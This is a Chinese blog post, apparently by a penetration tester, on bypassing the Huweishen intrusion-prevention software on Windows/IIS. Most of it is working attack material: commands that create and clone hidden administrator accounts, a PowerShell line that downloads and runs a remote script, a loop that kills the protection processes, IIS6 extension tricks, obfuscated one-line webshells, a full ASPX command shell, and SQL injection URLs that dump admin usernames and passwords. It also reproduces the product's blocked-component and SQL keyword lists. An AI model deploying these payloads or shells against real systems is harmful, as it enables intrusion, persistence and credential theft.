最近的恰饭文有点多,是时候该分享些东西了,等以后有空了再整理下其他WAF的绕过系列分享给大家,感谢大家的理解和支持,抱拳!
记得以前测试这个安全防护软件的绕过方式时还是v3.8.2版本,测试完后也没再用上过,这两天去看了下,已经升级到V5.0.0了,可能大部分绕过方法也已经失效了,但还是分享出来供大家参考下吧,有兴趣的可以去测试下最新版的护卫神!
注:由于“护卫神·入侵防护系统”为商业版,而网上找到的破解版本较低,且功能不齐全,所以只能在护卫神官网申请了3天免费试用进行测试,笔者提供的解决方案均来自以往的实践当中和本地测试。
0x02 本地测试环境/基本信息
代码语言:javascript复制操作系统:Windows Server 2008 R2 x64
软件版本:护卫神·入侵防护系统 v3.8.2
安装路径:C:Huweishen.comHwsSec_26319
日志路径:C:Huweishen.comHwsSec_26319log
隔离路径:C:Huweishen.comHwsSec_26319insfile
护卫神进程名称:hws.exe、hwsd.exe、HwsPanel.exe、hws_ui.exe
护卫神服务名称:hws(入侵防护系统服务)、hwsd(入侵防护系统监控服务)
2.2.1 护卫神安全防护绕过-[用户监控]
功能介绍:主要功能有3个(锁定用户组、禁止新建用户、检测影子用户)。
图2-2-1 护卫神“用户监控”防护功能
图2-2-2 护卫神自动删除新建管理员
解决方案:
(1) 利用for循环命令绕过新建用户行为检测
代码语言:javascript复制for /l %i in (1,1,2) do @net user 90sec huweishen!@#1 /add & net localgroup administrators 90sec /add
图2-2-3 利用for命令添加管理员用户
(2) 利用PowerShell克隆管理员绕过管理组检测
代码语言:javascript复制PowerShell IEX (New-Object Net.WebClient).DownloadString('http://192.168.1.103/Clone.txt'); Create-Clone -u 90sec -p huweishen!@#1
图2-2-4 利用PowerShell成功克隆管理员
注:护卫神“用户监控”的原理是检测攻击者是否存在新建用户行为和Administrators管理组中是否存在其它用户,如果存在则立即删除该用户。虽然我们可以通过for循环命令绕过新建用户行为检测,也能将这个新建用户添加到Administrators管理组,但最终还是逃不过Administrators管理组检测,仍然会将新建的90sec管理员用户给删除,可尝试增加循环次数。因为用PowerShell脚本克隆的90sec用户不属于任何组的成员,所以护卫神无法删除90sec这个具有管理员权限的用户。
图2-2-5 护卫神hws2018-07-03.log日志文件
2.2.2 护卫神安全防护绕过-[远程监控]
功能介绍:主要功能有3个(计算机名认证、IP或域名认证、更改远程桌面端口)。
图2-2-6 护卫神“远程监控”防护功能
解决方案:
(1) 利用“日志文件”绕过护卫神计算机名认证限制
代码语言:javascript复制1、tasklist /svc找到hws服务,然后sc qc hws找到“护卫神”的安装路径;
2、护卫神日志路径:C:Huweishen.comHwsSec_26319loghws2018-07-03.log;
3、查看“hws2018-07-03.log”日志文件,找到以前登录过此系统的计算机名称(HuWeiShenServer);
(2) 利用for循环命令绕过护卫神IP、域名认证限制
1、利用for命令循环结束hws.exe、hwsd.exe这两个进程,在循环执行过程中“护卫神”的防护功能失效,循环结束防护功能生效。
代码语言:javascript复制for /l %i in (1,1,500) do @taskkill /f /im hws.exe /im hwsd.exe
2、在停止防护功能时间内快速进入目标主机并关闭护卫神的“远程登录监控”防护功能即可。
注:护卫神“远程监控”的原理是通过白名单来限制远程登录的计算机名、IP或域名,如果它们存在于“远程监控”白名单列表当中则允许进行远程桌面连接,否则不允许。
结束hws.exe、hwsd.exe进程后会停止“护卫神”防护功能1分钟左右(此方法已失效!)。新版本中结束hws.exe、hwsd.exe进程后会自动重复的运行,防护功能依然是正常的。
2.2.3 护卫神安全防护绕过-[URL保护]
功能介绍:“URL保护”这个功能是在IIS加固模块里的,主要是用来防止攻击者访问他们利用IIS6.0解析漏洞上传的WebShell木马文件。
URL保护模块(默认规则库):
代码语言:javascript复制.asp;
.asa;
.php;
.aspx;
.asax;
.asp/
.asa/
.asax/
~1
~2
~3
~4
解决方案:
(1) 利用“include”文件包含绕过
代码语言:javascript复制ASP:<!--#include file="hws.txt" -->
PHP:<?php Include("hws.txt");?>
JSP:<jsp:include page="hws.txt"/>
(2) 利用“CER、CDX”文件扩展名绕过
代码语言:javascript复制http://192.168.1.103/hws.cer;.jpg
http://192.168.1.103/hws.cdx;.jpg
http://192.168.1.103/hws.cer/bypass.jpg
http://192.168.1.103/hws.cdx/bypass.jp
注:护卫神“URL保护”的原理是通过检测访问者的URL地址中是否存在规则库列表里的内容,如果存在则拦截,不存在则放行。因为IIS6.0默认安装下的CER、CDX都映射在“C:WINDOWSsystem32inetsrvasp.dll”,所以它们能够正常解析ASP代码。而护卫神“URL保护”默认规则库中没有.CER;、.CDX;这样的规则,所以没有对其访问进行拦截。
2.2.4 护卫神安全防护绕过-[卸载密码]
解决方案:
护卫神在安装时的“卸载密码”功能只是在卸载时要求输入密码,而直接重装并没有要求输入密码,所以个人感觉“卸载密码”这个功能相当于摆设,我们可以直接重装护卫神软件,然后再进行卸载。
2.2.5 护卫神安全防护绕过-[木马监控]
功能介绍:主要设置选项有2个(监控路径、查杀选项)。
解决方案:
具体测试过程就不详写了,直接贴出我用了几年的WebShell一句话木马。现在网上也公布的有各种免杀过WAF的WebShell代码,是否有后门请自行检测。
代码语言:javascript复制<%Xz2GmkUViY=ReQuEsT("/"):ExEcUtE(Xz2GmkUViY)%>
<?php $Xz2GmkUViY=convert_uudecode("&87-S97)T `");@$Xz2GmkUViY($_REQUEST['/']);?>
<%@Page Language="Jscript"%><%var Xz2GmkUViY;Xz2GmkUViY = Request.Item["/"];Response.Wri
te(eval(Xz2GmkUViY,"unsafe"));%>
注:护卫神“木马监控”的原理主要还是通过静态检测(文件特征码、危险函数等)来进行查杀。现在网上大部分公开的免杀WebShell基本都还是对危险函数进行分割、编码、回调、变形或在线加密(http://www.phpjm.net/encode.html)处理来绕过WAF的检测,推荐几篇不错的文章。
代码语言:javascript复制基于WAF入侵检测和变异WebShell检测算法的Web安全研究
https://www.docin.com/p-1815617232.html
Webshell安全检测篇
https://www.vuln.cn/6548
Deformity ASP_ASPX_PHP_JSP Webshell、Webshell Hidden Learning
https://www.cnblogs.com/LittleHann/category/548519.html
2.2.6 护卫神安全防护绕过-[运行限制]
功能介绍:“运行限制”这个功能是在IIS加固模块里的,主要设置选项有3个(禁止运行危险组件、禁止获取系统信息、禁止运行PSO组件)。
CLASSID在Windows中唯一表示一个组件,一般在注册表HKEY_CLASSES_ROOTCLSID中,Windows x64在注册表HKEY_CLASSES_ROOTWow6432NodeCLSID中,有兴趣的可以去深入了解一下。
代码语言:javascript复制{13709620-c279-11ce-a49e-444553540000}:::Shell.application
{ed8c108e-4349-11d2-91a4-00c04f7969e8}:::Microsoft.XmlHttp
{b54f3741-5b07-11cf-a4b0-00aa004a55e8}:::MSXML2.XMLHTTP
{f935dc20-1cf0-11d0-adb9-00c04fd58a0b}:::WScript.Shell.1
{fbeb8a05-beee-4442-804e-409d6c4515e9}:::Shell32.dll
{7849596a-48ea-486e-8937-a2a3009f31a9}:::Shell32.dll
{72c24dd5-d70a-438b-8a42-98424b88afb8}:::WScript.Shell
{f935dc2b-1cf0-11d0-adb9-00c04fd58a0b}:::WScript.Shell
{f935dc29-1cf0-11d0-adb9-00c04fd58a0b}:::WScript.Shell
{f935dc28-1cf0-11d0-adb9-00c04fd58a0b}:::WScript.Shell
{f935dc27-1cf0-11d0-adb9-00c04fd58a0b}:::WScript.Shell
{f935dc26-1cf0-11d0-adb9-00c04fd58a0b}:::WScript.Shell
{f935dc25-1cf0-11d0-adb9-00c04fd58a0b}:::WScript.Shell
{f935dc24-1cf0-11d0-adb9-00c04fd58a0b}:::WScript.Shell
{f935dc23-1cf0-11d0-adb9-00c04fd58a0b}:::WScript.Shell
{f935dc22-1cf0-11d0-adb9-00c04fd58a0b}:::WScript.Shell
{f935dc21-1cf0-11d0-adb9-00c04fd58a0b}:::WScript.Shell
{f935dc20-1cf0-11d0-adb9-00c04fd58a0b}:::WScript.Shell
{24be5a30-edfe-11d2-b933-00104b365c9f}:::WScript.Shell
{24be5a31-edfe-11d2-b933-00104b365c9f}:::WScript.Shell
{563dc061-b09a-11d2-a24d-00104bd35090}:::WScript.Shell
{563dc060-b09a-11d2-a24d-00104bd35090}:::WScript.Shell
{41904400-be18-11d3-a28b-00104bd35090}:::WScript.Shell
{093ff999-1ea0-4079-9525-9614c3504b74}:::Wscript.Network
{0d43fe01-f093-11cf-8940-00a0c9054228}:::File System Object
{8bc3f05e-d86b-11d0-a075-00c04fb68820}:::WMI
{a8f03be3-edb7-4972-821f-af6f8ea34884}:::WMINet_Utils.WmiSecurityHelper.1
{172bddf8-ceea-11d1-8b05-00600806d9b6}:::Winmgmts //WMI获取系统信息
{565783c6-cb41-11d1-8b02-00600806d9b6}:::Winmgmts //WMI获取系统信息
{d6bfa35e-89f2-11d0-8527-00c04fd8d503}:::IISNamespace
{97d25db0-0363-11cf-abc4-02608c9e7553}:::用户和组
{172bddf8-ceea-11d1-8b05-00600806d9b6}:::Winmgmts //WMI获取系统信息
{565783c6-cb41-11d1-8b02-00600806d9b6}:::Winmgmts //WMI获取系统信息)
{172bddf8-ceea-11d1-8b05-00600806d9b6}:::Winmgmts //WMI获取系统信息
{565783c6-cb41-11d1-8b02-00600806d9b6}:::Winmgmts //WMI获取系统信息)
解决方案:
利用ASPX WebShell木马绕过“禁止运行危险组件”限制
代码语言:javascript复制<%@ Page Language="C#" Debug="true" Trace="false" %>
<%@ Import Namespace="System.Diagnostics" %>
<script Language="c#" runat="server">
protected void FbhN(object sender, EventArgs e) {
try {
Process ahAE = new Process();
ahAE.StartInfo.FileName = kusi.Value;
ahAE.StartInfo.Arguments = bkcm.Value;
ahAE.StartInfo.UseShellExecute = false;
ahAE.StartInfo.RedirectStandardInput = true;
ahAE.StartInfo.RedirectStandardOutput = true;
ahAE.StartInfo.RedirectStandardError = true;
ahAE.Start();
string Uoc = ahAE.StandardOutput.ReadToEnd();
Uoc = Uoc.Replace("<", "<");
Uoc = Uoc.Replace(">", ">");
Uoc = Uoc.Replace("rn", "<br>");
tnQRF.Visible = true;
tnQRF.InnerHtml = "<hr width="100%" noshade/><pre>" Uoc "</pre>";
} catch(Exception error) {
Response.Write(error.Message);
}}
</script>
<html>
<head>
<title>Asp.Net SafeDog CmdShell</title>
</head>
<body>
<form id="cmd" method="post" runat="server">
<div runat="server" id="vIac">
<p><input class="input" runat="server" id="kusi" type="text" size="100" value="c:windowssystem32cmd.exe" /> </p>
<input class="input" runat="server" id="bkcm" value="/c Set" type="text" size="100" />
<asp:button id="YrqL" cssclass="bt" runat="server" text="Submit" onclick="FbhN" />
<div id="tnQRF" runat="server" visible="false" enableviewstate="false">
</div>
</div>
</form>
</body>
</html>
注:护卫神“运行限制”的原理是通过禁止一些危险组件(Wscript.Shell、Shell.Application、Winmgmts、IISNamespace等)来阻止攻击者利用WebShell脚本木马调用这些危险组件来执行系统命令、获取系统信息等。但aspx执行命令不依赖于这些组件,所以能...!
2.2.7 护卫神安全防护绕过-[SQL防注入]
功能介绍:主要设置选项有3个(GET、POST、COOKIES防注入关键词,默认都是一样的),可以根据自己的安全经验选择性增加一些关键词
GET、POST、COOKIES防注入关键词:
代码语言:javascript复制*xp_cmdshell*
*and*db_name()*>*0*
*and*user*>*0*
*bulk*insert*exec*
*select*is_srvrolemember*
*use*model*
*select*is_member*
*xp_availablemedia*
*xp_dirtree*
*xp_terminate_process*
*sp_dropextendedproc*
*exec*sp_addlogin*
*xp_regdeletekey*
*exec*xp_regread*
*exec*xp_regenumvalues*'*
*exec*xp_regwrite*'*
*exec*xp_regread*'*
*exec*xp_regdeletevalue*'*
*declare*@*char*
*exec*xp_regaddmultistring*'*
*exec*xp_regdeletekey*'*
*exec*xp_regenumvalues*'*
*exec*xp_regread*'*
*exec*xp_regremovemultistring*'*
*exec*xp_regwrite*'*
*declare*@*
*union*select*
*select*from*
[...SNIP...]
解决方案:
(1) ASP ACCESS:利用ASP%特性、unicode编码绕过护卫神防注入。
代码语言:javascript复制http://192.168.1.108/sql.asp?id=1 and exists(s%elect * from admin)
http://192.168.1.108/sql.asp?id=1 and exists(select * from admin)
(2) ASPX MSSQL:利用unicode编码、 截断绕过护卫神防注入。
代码语言:javascript复制http://192.168.1.108/sql.aspx?id=1 and 1=(select count(*) from master.dbo.sysobjects where name= 'xp_cmdshell')
http://192.168.1.108/sql.aspx?id=1 and 1=(select count(*) from master.dbo.sysobjects where name= 'xp_cmdshell')
(3) PHP MYSQL:利用/* */、GET POST绕过护卫神防注入。
代码语言:javascript复制http://192.168.1.108/sql.php?id=1/* */union select 1,group_concat(username,0x3A,password
),3 from admin--
http://192.168.1.108/sql.php?id=1 union select 1,group_concat(username,0x3A,password),3 from admin--
POST:aa
注:护卫神“SQL防注入”的原理是通过正则匹配关键词来拦截的,在GET、POST或Cookies数据里检测到黑名单中的关键词就进行拦截。这一小节内容并非笔者原创,只是参考了网上已公开的方法进行复现测试。绕过XSS、注入以及上传并非我的强项,也没有深入研究这一块,后边会整理@Bypass师傅写的Bypass WAF系列文章供学习大家参考,这里另外推荐几篇不错的文章。
代码语言:javascript复制我的WafBypass之道系列
https://xz.aliyun.com/u/1502
WAF攻防研究之四个层次Bypass WAF
https://xz.aliyun.com/t/15
Bypass WAF Cookbook – MayIKissYou
https://www.vuln.cn/6105
sql-injection-fuck-waf
https://notwhy.github.io/2018/06/sql-injection-fuck-waf/